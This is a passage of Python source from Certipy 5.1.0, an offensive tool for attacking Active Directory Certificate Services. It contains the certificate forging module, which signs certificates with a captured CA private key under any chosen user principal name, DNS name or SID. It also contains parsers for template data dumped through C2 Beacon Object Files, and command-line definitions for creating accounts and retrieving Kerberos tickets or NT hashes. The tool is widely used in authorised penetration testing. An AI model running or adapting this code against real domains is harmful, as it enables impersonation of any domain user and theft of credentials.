if not ca_pfx_path.exists():
raise FileNotFoundError(f"CA PFX file not found: {self.ca_pfx}")
with open(ca_pfx_path, "rb") as f:
ca_pfx_data = f.read()
ca_key, ca_cert = load_pfx(ca_pfx_data, self.ca_password)
if ca_cert is None:
raise Exception("Failed to load CA certificate")
if ca_key is None:
raise Exception("Failed to load CA private key")
# Verify we have the correct types
ca_private_key = cast(CertificateIssuerPrivateKeyTypes, ca_key)
return ca_private_key, ca_cert
def create_subject_alternative_names(
self,
) -> List[Union[x509.DNSName, x509.OtherName]]:
"""
Create subject alternative names for the certificate.
Returns:
List of subject alternative name entries
"""
sans = []
# Add DNS name if specified
if self.alt_dns:
dns_name = self.alt_dns
if isinstance(dns_name, bytes):
dns_name = dns_name.decode()
sans.append(x509.DNSName(dns_name))
# Add UPN if specified
if self.alt_upn:
upn_value = self.alt_upn.encode()
# Encode as UTF8String for UPN
encoded_upn = encoder.encode(UTF8String(upn_value))
sans.append(x509.OtherName(PRINCIPAL_NAME, encoded_upn))
# Add SID if specified
if self.alt_sid:
sid = self.alt_sid
if isinstance(sid, bytes):
sid = sid.decode()
sid = f"{SAN_URL_PREFIX}{sid}"
sans.append(x509.UniformResourceIdentifier(sid))
return sans
def create_sid_extension(self) -> Optional[x509.UnrecognizedExtension]:
"""
Create an extension containing the SID for the certificate.
Returns:
UnrecognizedExtension containing the SID or None if no SID specified
"""
if not self.alt_sid:
return None
sid_value = self.alt_sid.encode()
# Create ASN.1 structure for SID extension
sid_extension = asn1x509.GeneralNames(
[
asn1x509.GeneralName(
{
"other_name": asn1x509.AnotherName(
{
"type_id": OID_NTDS_OBJECTSID,
"value": asn1x509.OctetString(sid_value).retag(
{"explicit": 0}
),
}
)
}
)
]
)
return x509.UnrecognizedExtension(NTDS_CA_SECURITY_EXT, sid_extension.dump())
def create_application_policies(self) -> Optional[x509.UnrecognizedExtension]:
"""
Create an extension containing the application policies for the certificate.
Returns:
UnrecognizedExtension containing the application policies or None if not specified
"""
if not self.application_policies:
return None
# Convert each policy OID string to PolicyIdentifier
application_policy_oids = [
asn1x509.PolicyInformation(
{"policy_identifier": asn1x509.PolicyIdentifier(ap)}
)
for ap in self.application_policies
]
# Create certificate policies extension
cert_policies = asn1x509.CertificatePolicies(application_policy_oids)
return x509.UnrecognizedExtension(APPLICATION_POLICIES, cert_policies.dump())
def create_smime_extension(self) -> Optional[x509.UnrecognizedExtension]:
"""
Create an extension containing the S/MIME capability for the certificate.
Returns:
UnrecognizedExtension containing the S/MIME capability or None if not specified
"""
if not self.smime:
return None
# Create S/MIME capability extension
smime_capability = SMIME_MAP[self.smime]
return x509.UnrecognizedExtension(
SMIME_CAPABILITIES, asn1x509.ObjectIdentifier(smime_capability).dump()
)
def get_allowed_hash_algorithm(
self, template_hash_algorithm: Optional[hashes.HashAlgorithm]
) -> AllowedSignatureAlgorithms:
"""
Get an appropriate hash algorithm for certificate signing.
Args:
template_hash_algorithm: Hash algorithm from template certificate
Returns:
Hash algorithm instance to use for signing
"""
# Default to SHA-256 if no algorithm specified
if template_hash_algorithm is None:
return hashes.SHA256()
# Get the algorithm class (not instance)
alg_class = template_hash_algorithm.__class__
# Check if algorithm is in the allowed list
if alg_class in AllowedSignatureAlgorithms.__args__:
return cast(AllowedSignatureAlgorithms, template_hash_algorithm)
# Fall back to SHA-256 if not allowed
logging.warning(
f"Hash algorithm {alg_class.__name__} is not allowed. Using SHA256."
)
return hashes.SHA256()
def build_from_template(
self,
ca_private_key: CertificateIssuerPrivateKeyTypes,
ca_public_key: CertificateIssuerPublicKeyTypes,
ca_cert: x509.Certificate,
) -> Tuple[PrivateKeyTypes, bytes]:
"""
Build a certificate using an existing certificate as a template.
Args:
ca_private_key: CA private key
ca_public_key: CA public key
ca_cert: CA certificate
Returns:
Tuple of (certificate private key, PFX data)
Raises:
Exception: If loading the template fails
"""
if not self.template:
raise ValueError("Template path is required")
# Load template certificate
with open(self.template, "rb") as f:
template_pfx = f.read()
key, template_cert = load_pfx(template_pfx)
if key is None:
raise Exception("Failed to load template private key")
if template_cert is None:
raise Exception("Failed to load template certificate")
# Determine subject name
subject = self.subject
if subject is None:
subject = template_cert.subject
else:
subject = get_subject_from_str(subject)
# Determine serial number
serial_number = (
self.get_serial_number() if self.serial else template_cert.serial_number
)
# Start building certificate
cert_builder = x509.CertificateBuilder()
cert_builder = cert_builder.subject_name(subject)
# Set issuer name
if self.issuer:
cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer))
else:
cert_builder = cert_builder.issuer_name(ca_cert.subject)
# Set public key, serial number, and validity period
cert_builder = cert_builder.public_key(template_cert.public_key())
cert_builder = cert_builder.serial_number(serial_number)
cert_builder = cert_builder.not_valid_before(template_cert.not_valid_before_utc)
cert_builder = cert_builder.not_valid_after(template_cert.not_valid_after_utc)
# Add authority key identifier
cert_builder = cert_builder.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key),
False,
)
# List of extensions to skip from the template
skip_extensions = [
x509.AuthorityKeyIdentifier.oid,
x509.SubjectAlternativeName.oid,
x509.ExtendedKeyUsage.oid,
NTDS_CA_SECURITY_EXT,
]
# Add CRL distribution point if specified
crl_extension = self.get_crl()
if crl_extension:
skip_extensions.append(x509.CRLDistributionPoints.oid)
cert_builder = cert_builder.add_extension(crl_extension, False)
# Add S/MIME capability if specified
smime_extension = self.create_smime_extension()
if smime_extension:
skip_extensions.append(SMIME_CAPABILITIES)
cert_builder = cert_builder.add_extension(smime_extension, False)
# Add application policies if specified
application_policies_extension = self.create_application_policies()
if application_policies_extension:
skip_extensions.append(APPLICATION_POLICIES)
cert_builder = cert_builder.add_extension(
application_policies_extension, False
)
# Copy remaining extensions from template
extensions = template_cert.extensions
for extension in extensions:
if extension.oid in skip_extensions:
continue
cert_builder = cert_builder.add_extension(
extension.value, extension.critical
)
# Add subject alternative names
sans = self.create_subject_alternative_names()
if sans:
cert_builder = cert_builder.add_extension(
x509.SubjectAlternativeName(sans),
False,
)
# Add SID extension if specified
sid_extension = self.create_sid_extension()
if sid_extension:
cert_builder = cert_builder.add_extension(
sid_extension,
False,
)
# Get appropriate hash algorithm
signature_hash_alg = self.get_allowed_hash_algorithm(
template_cert.signature_hash_algorithm
)
# Sign the certificate
certificate = cert_builder.sign(ca_private_key, signature_hash_alg)
# Create PFX
pfx_data = create_pfx(key, certificate, self.pfx_password)
return key, pfx_data
def build_new_certificate(
self,
ca_private_key: CertificateIssuerPrivateKeyTypes,
ca_public_key: CertificateIssuerPublicKeyTypes,
ca_cert: x509.Certificate,
) -> Tuple[rsa.RSAPrivateKey, bytes]:
"""
Build a new certificate without a template.
Args:
ca_private_key: CA private key
ca_public_key: CA public key
ca_cert: CA certificate
Returns:
Tuple of (certificate private key, PFX data)
"""
# Generate new key pair
key = generate_rsa_key(self.key_size)
# Determine identification type and value
if self.alt_upn:
id_type, id_value = "UPN", self.alt_upn
else:
id_type, id_value = "DNS Host Name", self.alt_dns
# Determine subject name
subject = self.subject
if subject is None:
subject = get_subject_from_str(
f"CN={cert_id_to_parts([(id_type, id_value)])[0]}"
)
else:
subject = get_subject_from_str(subject)
# Determine serial number
serial_number = self.get_serial_number()
# Calculate validity period
not_valid_before = datetime.datetime.now(
datetime.timezone.utc
) - datetime.timedelta(days=1)
not_valid_after = datetime.datetime.now(
datetime.timezone.utc
) + datetime.timedelta(days=self.validity_period)
# Start building certificate
cert_builder = x509.CertificateBuilder()
cert_builder = cert_builder.subject_name(subject)
# Set issuer name
if self.issuer:
cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer))
else:
cert_builder = cert_builder.issuer_name(ca_cert.subject)
# Set public key, serial number, and validity period
cert_builder = cert_builder.public_key(key.public_key())
cert_builder = cert_builder.serial_number(serial_number)
cert_builder = cert_builder.not_valid_before(not_valid_before)
cert_builder = cert_builder.not_valid_after(not_valid_after)
# Add key identifiers
cert_builder = cert_builder.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key),
False,
)
cert_builder = cert_builder.add_extension(
x509.SubjectKeyIdentifier.from_public_key(key.public_key()),
False,
)
# Add CRL distribution point if specified
crl_extension = self.get_crl()
if crl_extension:
cert_builder = cert_builder.add_extension(crl_extension, False)
# Add S/MIME capability if specified
smime_extension = self.create_smime_extension()
if smime_extension:
cert_builder = cert_builder.add_extension(smime_extension, False)
# Add application policies if specified
application_policies_extension = self.create_application_policies()
if application_policies_extension:
cert_builder = cert_builder.add_extension(
application_policies_extension, False
)
# Add subject alternative names
sans = self.create_subject_alternative_names()
if sans:
cert_builder = cert_builder.add_extension(
x509.SubjectAlternativeName(sans),
False,
)
# Add SID extension if specified
sid_extension = self.create_sid_extension()
if sid_extension:
cert_builder = cert_builder.add_extension(
sid_extension,
False,
)
# Get appropriate hash algorithm (default to same as CA cert)
signature_hash_alg = self.get_allowed_hash_algorithm(
ca_cert.signature_hash_algorithm
)
# Sign the certificate
certificate = cert_builder.sign(ca_private_key, signature_hash_alg)
# Create PFX
pfx_data = create_pfx(key, certificate, self.pfx_password)
return key, pfx_data
def determine_output_filename(self, id_type: str, id_value: Optional[str]) -> str:
"""
Determine the output filename for the forged certificate.
Args:
id_type: Identification type (UPN, DNS)
id_value: Identification value
Returns:
Output filename
"""
# Use specified output filename if provided
if self.out:
return self.out
# Try to generate filename from certificate ID
name, _ = cert_id_to_parts([(id_type, id_value)])
if not name:
logging.warning(
"Failed to generate output filename from certificate ID. Using current timestamp."
)
name = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
# Clean up and format filename
return f"{name.rstrip('$').lower()}_forged.pfx"
def forge(self) -> None:
"""
Forge a certificate with the specified parameters.
This is the main method that performs the certificate forgery process.
Raises:
ValueError: If required parameters are missing
Exception: If certificate forgery fails
"""
# Load CA certificate and private key
ca_private_key, ca_cert = self.load_ca_certificate_and_key()
ca_public_key = ca_private_key.public_key()
# Determine identification type and value for filename
if self.alt_upn:
id_type, id_value = "UPN", self.alt_upn
else:
id_type, id_value = "DNS Host Name", self.alt_dns
# Build certificate (from template or new)
if self.template:
_, pfx = self.build_from_template(ca_private_key, ca_public_key, ca_cert)
else:
_, pfx = self.build_new_certificate(ca_private_key, ca_public_key, ca_cert)
# Save PFX to file
out_path = self.determine_output_filename(id_type, id_value)
logging.info(f"Saving forged certificate and private key to {out_path!r}")
out_path = try_to_save_file(pfx, out_path)
logging.info(f"Wrote forged certificate and private key to {out_path!r}")
def create_self_signed_ca(self) -> None:
"""
Create a self-signed CA certificate.
This method generates a self-signed CA certificate and saves it to the specified output file.
"""
# Generate new key pair
key = generate_rsa_key(self.key_size)
# Create self-signed CA certificate
subject = x509.Name(
[
x509.NameAttribute(x509.NameOID.COMMON_NAME, "Certipy CA"),
]
)
if self.subject:
subject = get_subject_from_str(self.subject)
else:
logging.warning("No subject specified, using default: 'Certipy CA'")
issuer = subject
# Set serial number and validity period
serial_number = self.get_serial_number()
not_valid_before = datetime.datetime.now(
datetime.timezone.utc
) - datetime.timedelta(days=1)
not_valid_after = datetime.datetime.now(
datetime.timezone.utc
) + datetime.timedelta(days=self.validity_period)
# Start building certificate
cert_builder = x509.CertificateBuilder()
cert_builder = cert_builder.subject_name(subject)
cert_builder = cert_builder.issuer_name(issuer)
cert_builder = cert_builder.public_key(key.public_key())
cert_builder = cert_builder.serial_number(serial_number)
cert_builder = cert_builder.not_valid_before(not_valid_before)
cert_builder = cert_builder.not_valid_after(not_valid_after)
# Add key identifiers
cert_builder = cert_builder.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(key.public_key()),
False,
)
cert_builder = cert_builder.add_extension(
x509.SubjectKeyIdentifier.from_public_key(key.public_key()),
False,
)
# Sign the certificate
signature_hash_alg = hashes.SHA256()
certificate = cert_builder.sign(key, signature_hash_alg)
# Create PFX
pfx_data = create_pfx(key, certificate, self.pfx_password)
# Save PFX to file
out_path = self.out
if out_path is None:
out_path = "ca.pfx"
if not out_path.endswith(".pfx"):
out_path += ".pfx"
logging.info(f"Saving self-signed CA certificate to {out_path!r}")
out_path = try_to_save_file(pfx_data, out_path)
logging.info(f"Wrote self-signed CA certificate to {out_path!r}")
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for certificate forgery.
Args:
options: Command line arguments
"""
try:
# Create and run the forger
forge = Forge(**vars(options))
if options.ca_pfx:
forge.forge()
else:
forge.create_self_signed_ca()
except Exception as e:
logging.error(f"Certificate forgery failed: {e}")
handle_error()
Certipy-5.1.0/certipy/commands/parse.py 0000775 0000000 0000000 00000055340 15216574665 0020133 0 ustar 00root root 0000000 0000000 """
Certificate Template Parser Module for Certipy.
This module provides functionality to parse certificate templates from various sources:
- Registry files exported from Windows systems (.reg format)
- Beacon Object Files (BOF) output containing certificate template data
The parsed templates can then be analyzed using the same functionality as the `find`
command, allowing offline analysis of certificate templates and their security settings.
"""
import argparse
import re
from enum import Enum
from pathlib import Path
from typing import Iterator, List, Optional
from certipy.commands import find
from certipy.lib.bloodhound import BloodHound
from certipy.lib.errors import handle_error
from certipy.lib.logger import logging
from certipy.lib.registry import RegConnection, RegEntry
from certipy.lib.target import DnsResolver, Target
class ParserType(Enum):
"""Supported parser types for certificate template data."""
BOF = "bof" # Beacon Object File output
REG = "reg" # Windows Registry export file
OC2_BOF = "oc2_bof" # Outflank C2 reg query output
class Parse(find.Find):
"""
Base parser class for certificate templates.
This class extends the Find functionality to work with offline template data,
allowing analysis of certificate templates without direct access to AD.
"""
def __init__(
self,
domain: str = "UNKNOWN",
ca: str = "UNKNOWN",
sids: List[str] = [],
published: List[str] = [],
bloodhound: Optional[BloodHound] = None,
**kwargs, # type: ignore
):
"""
Initialize the certificate template parser.
Args:
domain: Domain name for the templates (default: UNKNOWN)
ca: Certificate Authority name (default: UNKNOWN)
sids: List of SIDs to resolve in ACLs
published: List of templates published by the CA
kwargs: Additional arguments to pass to Find base class
"""
# Set up for offline analysis
target = Target(
DnsResolver.create(),
domain=domain,
username="unknown",
target_ip="unknown",
)
super().__init__(target, dc_only=True, **kwargs)
# Store instance variables
self.domain = domain
self.ca = ca
self.sids = sids
self.published = published
self.file = None
self.bloodhound = bloodhound
# Mappings between registry keys and LDAP attribute names
self.mappings = {
"DisplayName": "displayName",
"ValidityPeriod": "pKIExpirationPeriod",
"RenewalOverlap": "pKIOverlapPeriod",
"ExtKeyUsageSyntax": "pKIExtendedKeyUsage",
"Security": "nTSecurityDescriptor",
# Maps common registry names to their corresponding LDAP attributes
}
@property
def connection(self) -> RegConnection: # type: ignore
"""
Get or create a registry connection for SID resolution.
Returns:
RegConnection object for SID resolution
"""
if self._connection is not None:
return self._connection
self._connection: Optional[RegConnection] = RegConnection(
self.domain, self.sids, bloodhound=self.bloodhound
)
return self._connection
def get_issuance_policies(self) -> List[RegEntry]: # type: ignore
"""
Get certificate issuance policies.
Returns:
Empty list (not implemented for offline analysis)
"""
return []
def get_certificate_authorities(self) -> List[RegEntry]: # type: ignore
"""
Get certificate authorities.
Creates a mock CA entry with the provided templates for analysis.
Returns:
List containing a single mock CA RegEntry if templates are published,
otherwise an empty list
"""
if not self.published:
return []
# Create a mock CA entry with the published templates
ca = RegEntry(
**{
"attributes": {
"cn": "Unknown",
"name": self.ca,
"dNSHostName": "localhost",
"cACertificateDN": "Unknown",
"cACertificate": None,
"certificateTemplates": self.published,
"objectGUID": "Unknown",
}
}
)
return [ca]
def parse(self, file: str) -> None:
"""
Parse certificate templates from a file.
Args:
file: Path to the file containing template data
"""
self.file = file
# Ensure the file exists
file_path = Path(file)
if not file_path.exists():
logging.error(f"File not found: {file}")
return
logging.info(f"Parsing templates from {file}")
# Use the find functionality to analyze the parsed templates
self.find()
class ParseBof(Parse):
"""
Parser for certificate templates from BOF output.
This parser handles output from Beacon Object Files that dump registry
certificate template information.
"""
def get_certificate_templates(self) -> List[RegEntry]: # type: ignore
"""
Parse certificate templates from BOF output.
Returns:
List of RegEntry objects representing certificate templates
"""
templates = []
if self.file is None:
raise ValueError("File not set for parsing")
try:
with open(self.file, "r", encoding="utf-8") as f:
contents = f.read()
# Remove timestamp headers from BOF output
data = re.sub(
r"\n\n\d{2}\/\d{2} (\d{2}:){2}\d{2} UTC \[output\]\nreceived output:\n",
"",
contents,
)
lines = iter(data.splitlines())
template = None
pending_line = None
registry_key_prefix = "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\"
# Process each line
while True:
try:
line = pending_line if pending_line is not None else next(lines)
pending_line = None
# Start of a new template
if registry_key_prefix in line:
if template is not None:
templates.append(template)
# Initialize new template with name from registry key
template = RegEntry()
parts = line.split("\\")
template_name = parts[-1]
template.set("cn", template_name)
template.set("name", template_name)
template.set("objectGUID", template_name)
continue
# Process registry values
if line.startswith("\t"):
line = line.strip()
parts = re.split(r"\s+", line, maxsplit=2)
if len(parts) < 2:
continue
name = parts[0]
datatype = parts[1]
# Process different registry value types
if datatype == "REG_DWORD":
data = int(line.split("REG_DWORD")[1].strip())
elif datatype == "REG_SZ":
data = line.split("REG_SZ")[1].strip()
elif datatype == "REG_MULTI_SZ":
data = line.split("REG_MULTI_SZ")[1].strip()
data = [] if data == "" else data.split("\\0")
elif datatype == "REG_BINARY":
data = []
# Binary data may span multiple lines
while True:
try:
next_line = next(lines)
if not next_line.startswith(" "):
# Save for next iteration
pending_line = next_line
break
else:
data.extend(
re.split(r"\s+", next_line.strip())
)
except StopIteration:
break
# Convert hex strings to bytes
data = bytes.fromhex("".join(data))
else:
logging.debug(f"Unknown value type: {datatype}")
continue
# Map registry names to LDAP attributes if applicable
if name in self.mappings:
name = self.mappings[name]
# Set the attribute in the template
if template is not None:
template.set(name, data)
except StopIteration:
break
except Exception as e:
logging.debug(f"Error parsing line: {e}")
continue
# Add the last template
if template is not None:
templates.append(template)
except Exception as e:
logging.error(f"Error parsing BOF file: {e}")
handle_error()
return []
logging.info(f"Parsed {len(templates)} templates from BOF output")
return templates
class ParseOC2Bof(Parse):
"""
Parser for certificate templates from OutflankC2's `reg query` output.
Obtain the output with `reg query -r "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache`
"""
def get_certificate_templates(self) -> List[RegEntry]: # type: ignore
"""
Parse certificate templates from BOF output.
Returns:
List of RegEntry objects representing certificate templates
"""
templates = []
if self.file is None:
raise ValueError("File not set for parsing")
try:
with open(self.file, "r", encoding="utf-8") as f:
lines = iter(f.readlines())
template = None
pending_line = None
name = None
datatype = None
registry_key_prefix = "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\"
offset = 11
# Process each line
while True:
try:
line = pending_line if pending_line is not None else next(lines)
pending_line = None
# Start of a new template
if registry_key_prefix in line:
if template is not None:
templates.append(template)
# Initialize new template with name from registry key
template = RegEntry()
name = None
datatype = None
parts = line.split("\\")
template_name = parts[-1]
template.set("cn", template_name)
template.set("name", template_name)
template.set(
"enabled", True
) # Enabled by default since this info is not available
template.set(
"cas", ["UNKNOWN"]
) # Unknown certificate authority (if any)
template.set("objectGUID", template_name)
continue
# Process registry values
if line.startswith("Reg Value"):
name = line[offset:-1]
elif line.startswith("Reg Type"):
datatype = line[offset:-1]
elif line.startswith("Reg Data"):
data = line[offset:-1].strip()
assert name is not None
assert datatype is not None
# Process different registry value types
if datatype == "REG_DWORD":
data = int(data, 16)
elif datatype == "REG_SZ":
# Nothing to do here, since data is already a string
pass
elif datatype == "REG_MULTI_SZ":
# The reg query bof does not correctly encode REG_MULTI_SZ, since \0 is replaced by spaces.
# We need to guess based on the key how we should split.
# But for most keys, splitting by ' ' is fine.
# An exception is SupportedCSPs, but this key is not interpreted by regcertipy
data = [] if data == "" else data.split(" ")
elif datatype == "REG_BINARY":
data = bytes.fromhex(data)
else:
logging.debug(f"Unknown value type: {datatype}")
continue
# Map registry names to LDAP attributes if applicable
if name in self.mappings:
name = self.mappings[name]
# Set the attribute in the template
if template is not None:
template.set(name, data)
except StopIteration:
break
except Exception as e:
logging.debug(f"Error parsing line: {e}")
continue
# Add the last template
if template is not None:
templates.append(template)
except Exception as e:
logging.error(f"Error parsing OC2 BOF file: {e}")
handle_error()
return []
logging.info(f"Parsed {len(templates)} templates from BOF output")
return templates
class ParseReg(Parse):
"""
Parser for certificate templates from Windows Registry export files.
This parser handles .reg files exported from Windows containing
certificate template information.
"""
def get_certificate_templates(self) -> List[RegEntry]: # type: ignore
"""
Parse certificate templates from a .reg file.
Returns:
List of RegEntry objects representing certificate templates
"""
templates = []
if self.file is None:
raise ValueError("File not set for parsing")
try:
with open(self.file, "r", encoding="utf-16-le", newline="\r\n") as f:
# Verify it's a registry file
firstline = f.readline()
if "Windows Registry Editor Version" not in firstline:
raise ValueError(
"Unexpected file format, Windows registry file expected"
)
data = f.read()
lines = iter(data.splitlines())
template = None
registry_key_prefix = "[HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\"
# Process each line
for line in lines:
try:
# Start of a new template
if line.startswith(registry_key_prefix):
if template is not None:
templates.append(template)
# Initialize new template with name from registry key
template = RegEntry()
parts = line[1:-1].split("\\")
template_name = parts[-1]
template.set("cn", template_name)
template.set("name", template_name)
template.set("objectGUID", template_name)
continue
# Process registry values
if line.startswith('"'):
line = line.strip()
key_value = line.split("=", 1)
if len(key_value) < 2:
continue
name = key_value[0][1:-1] # Remove quotes
raw_data = key_value[1]
# Process different registry value types
if raw_data.startswith('"'):
# REG_SZ
data = raw_data[1:-1]
elif raw_data.startswith("dword:"):
# REG_DWORD
data = int("0x" + raw_data[6:], 16)
# Handle signed values
data = data if data < 2**31 else data - 2**32
elif raw_data.startswith("hex:"):
# REG_BINARY
data = self._parse_hex_data(raw_data[4:], lines)
elif raw_data.startswith("hex(7):"):
# REG_MULTI_SZ
hex_data = self._parse_hex_data(raw_data[7:], lines)
data = hex_data.decode("utf-16le").rstrip("\x00")
data = [] if data == "" else data.split("\x00")
else:
logging.debug(f"Unknown value type: {raw_data}")
continue
# Map registry names to LDAP attributes if applicable
if name in self.mappings:
name = self.mappings[name]
# Set the attribute in the template
if template is not None:
template.set(name, data)
except Exception as e:
logging.debug(f"Error parsing line: {e}")
continue
# Add the last template
if template is not None:
templates.append(template)
except Exception as e:
logging.error(f"Error parsing registry file: {e}")
handle_error()
return []
logging.info(f"Parsed {len(templates)} templates from registry file")
return templates
def _parse_hex_data(self, initial_data: str, lines_iter: Iterator[str]) -> bytes:
"""
Parse hex data that might span multiple lines.
Args:
initial_data: The initial hex data string
lines_iter: Iterator for the file lines
Returns:
Bytes object containing the parsed hex data
"""
values = []
data = initial_data
# Process hex data that can span multiple lines (indicated by trailing backslash)
while True:
values.extend(data.replace(",\\", "").split(","))
if not data.endswith("\\"):
break
try:
data = next(lines_iter).strip()
except StopIteration:
break
return bytes.fromhex("".join(values))
def get_parser(
parser_type: ParserType,
domain: str,
ca: str,
sids: List[str],
published: List[str],
**kwargs, # type: ignore
) -> Parse:
"""
Factory function to get the appropriate parser.
Args:
parser_type: Type of parser to create
domain: Domain name
ca: CA name
sids: List of SIDs
published: List of published templates
kwargs: Additional arguments
Returns:
Appropriate parser instance
Raises:
ValueError: If an unsupported parser type is provided
"""
if parser_type == ParserType.BOF:
return ParseBof(domain, ca, sids, published, **kwargs)
elif parser_type == ParserType.OC2_BOF:
return ParseOC2Bof(domain, ca, sids, published, **kwargs)
elif parser_type == ParserType.REG:
return ParseReg(domain, ca, sids, published, **kwargs)
else:
raise ValueError(f"Unsupported parser type: {parser_type}")
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for the parse functionality.
Args:
options: Command line arguments
"""
# Extract and remove parse-specific options
domain = options.domain
ca = options.ca
sids = options.sids or []
published = options.published or []
file_path = options.file
parser_format = options.format.lower()
if options.neo4j_user and options.neo4j_pass:
bloodhound = BloodHound(
options.neo4j_user,
options.neo4j_pass,
options.neo4j_host,
options.neo4j_port,
)
if options.use_owned_sids:
sids = list(bloodhound.get_owned_sids())
else:
bloodhound = None
# Remove processed options
for opt in ["domain", "ca", "sids", "published", "file", "format"]:
options.__delattr__(opt)
# Validate input file
if not file_path or not Path(file_path).exists():
logging.error(f"Input file not found: {file_path}")
return
try:
# Create and use the appropriate parser
parser_type = ParserType(parser_format)
parser = get_parser(
parser_type=parser_type,
domain=domain,
ca=ca,
sids=sids,
published=published,
bloodhound=bloodhound,
**vars(options),
)
parser.parse(file_path)
except ValueError as e:
logging.error(f"Error: {e}")
logging.error(
f"Supported parser formats: {', '.join([p.value for p in ParserType])}"
)
except Exception as e:
logging.error(f"Parse failed: {e}")
handle_error()
Certipy-5.1.0/certipy/commands/parsers/ 0000775 0000000 0000000 00000000000 15216574665 0020114 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/commands/parsers/__init__.py 0000775 0000000 0000000 00000000344 15216574665 0022231 0 ustar 00root root 0000000 0000000 from . import account, auth, ca, cert, find, forge, parse, relay, req, shadow, template
ENTRY_PARSERS = [
account,
auth,
ca,
cert,
find,
parse,
forge,
relay,
req,
shadow,
template,
]
Certipy-5.1.0/certipy/commands/parsers/account.py 0000775 0000000 0000000 00000007334 15216574665 0022134 0 ustar 00root root 0000000 0000000 """
Parser for Active Directory account management command.
This module defines the command-line interface for the 'account' command,
which allows creating, reading, updating, and deleting user and computer accounts
in Active Directory.
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "account"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the account management command.
This function imports and calls the actual implementation of the account
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import account
account.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the account management command subparser to the main parser.
This function creates and configures a subparser for managing Active Directory
accounts, including options for creating, reading, updating, and deleting
user and computer accounts.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the account subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage user and machine accounts",
description=(
"Create, read, update, and delete Active Directory user and computer accounts. "
"This command allows manipulating account properties including DNS names, "
"service principal names (SPNs), and passwords."
),
)
# Main action argument
subparser.add_argument(
"account_action",
choices=["create", "read", "update", "delete"],
help=(
"Action to perform: "
"create (new account), "
"read (view account properties), "
"update (modify existing account), "
"delete (remove account)"
),
)
# Target account options
target_group = subparser.add_argument_group("target options")
target_group.add_argument(
"-user",
action="store",
metavar="SAM Account Name",
help="Logon name for the account to target",
required=True,
)
target_group.add_argument(
"-group",
action="store",
metavar="CN=Computers,DC=test,DC=local",
help=(
"Group to which the account will be added. "
"If omitted, CN=Computers, will be used"
),
)
# Account attribute options
attr_group = subparser.add_argument_group("attribute options")
attr_group.add_argument(
"-dns",
action="store",
metavar="hostname",
help="Set the DNS hostname for the account (e.g., computer.domain.local)",
)
attr_group.add_argument(
"-upn",
action="store",
metavar="principal name",
help="Set the User Principal Name for the account (e.g., user@domain.local)",
)
attr_group.add_argument(
"-sam",
action="store",
metavar="account name",
help="Set the SAM Account Name for the account (e.g., computer$ or username)",
)
attr_group.add_argument(
"-spns",
action="store",
metavar="service names",
help="Set the Service Principal Names for the account (comma-separated)",
)
attr_group.add_argument(
"-pass",
action="store",
dest="passw",
metavar="password",
help="Set the password for the account",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/auth.py 0000775 0000000 0000000 00000011600 15216574665 0021430 0 ustar 00root root 0000000 0000000 """
Parser for certificate authentication command.
This module defines the command-line interface for the 'auth' command,
which allows authentication to Active Directory services using certificates
and retrieving Kerberos tickets or NT hashes.
"""
import argparse
from typing import Callable, Tuple
# Command name identifier
NAME = "auth"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the auth command.
This function imports and calls the actual implementation of the auth
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import auth
auth.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate authentication command subparser to the main parser.
This function creates and configures a subparser for authenticating with
certificates to Active Directory services, including options for retrieving
Kerberos tickets and establishing LDAP connections.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the auth subparser with description
subparser = subparsers.add_parser(
NAME,
help="Authenticate using certificates",
description=(
"Authenticate to Active Directory services using certificates. "
"This command enables certificate-based authentication to obtain "
"Kerberos tickets, NT hashes, or establish LDAP connections."
),
)
# Certificate options
cert_group = subparser.add_argument_group("certificate options")
cert_group.add_argument(
"-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to certificate and private key (PFX/P12 format)",
required=True,
)
cert_group.add_argument(
"-password",
action="store",
metavar="password",
help="Password for the PFX/P12 file",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-no-save", action="store_true", help="Don't save Kerberos TGT to file"
)
output_group.add_argument(
"-no-hash", action="store_true", help="Don't request NT hash from Kerberos"
)
output_group.add_argument(
"-print",
action="store_true",
help="Print Kerberos TGT in Kirbi format to console",
)
output_group.add_argument(
"-kirbi",
action="store_true",
help="Save Kerberos TGT in Kirbi format (default is ccache)",
)
# Connection options
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help=(
"IP Address of the domain controller. If omitted, it will use the domain "
"part (FQDN) specified in the target parameter"
),
)
conn_group.add_argument(
"-ns",
action="store",
metavar="nameserver",
help="Nameserver for DNS resolution",
)
conn_group.add_argument(
"-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries"
)
conn_group.add_argument(
"-timeout",
action="store",
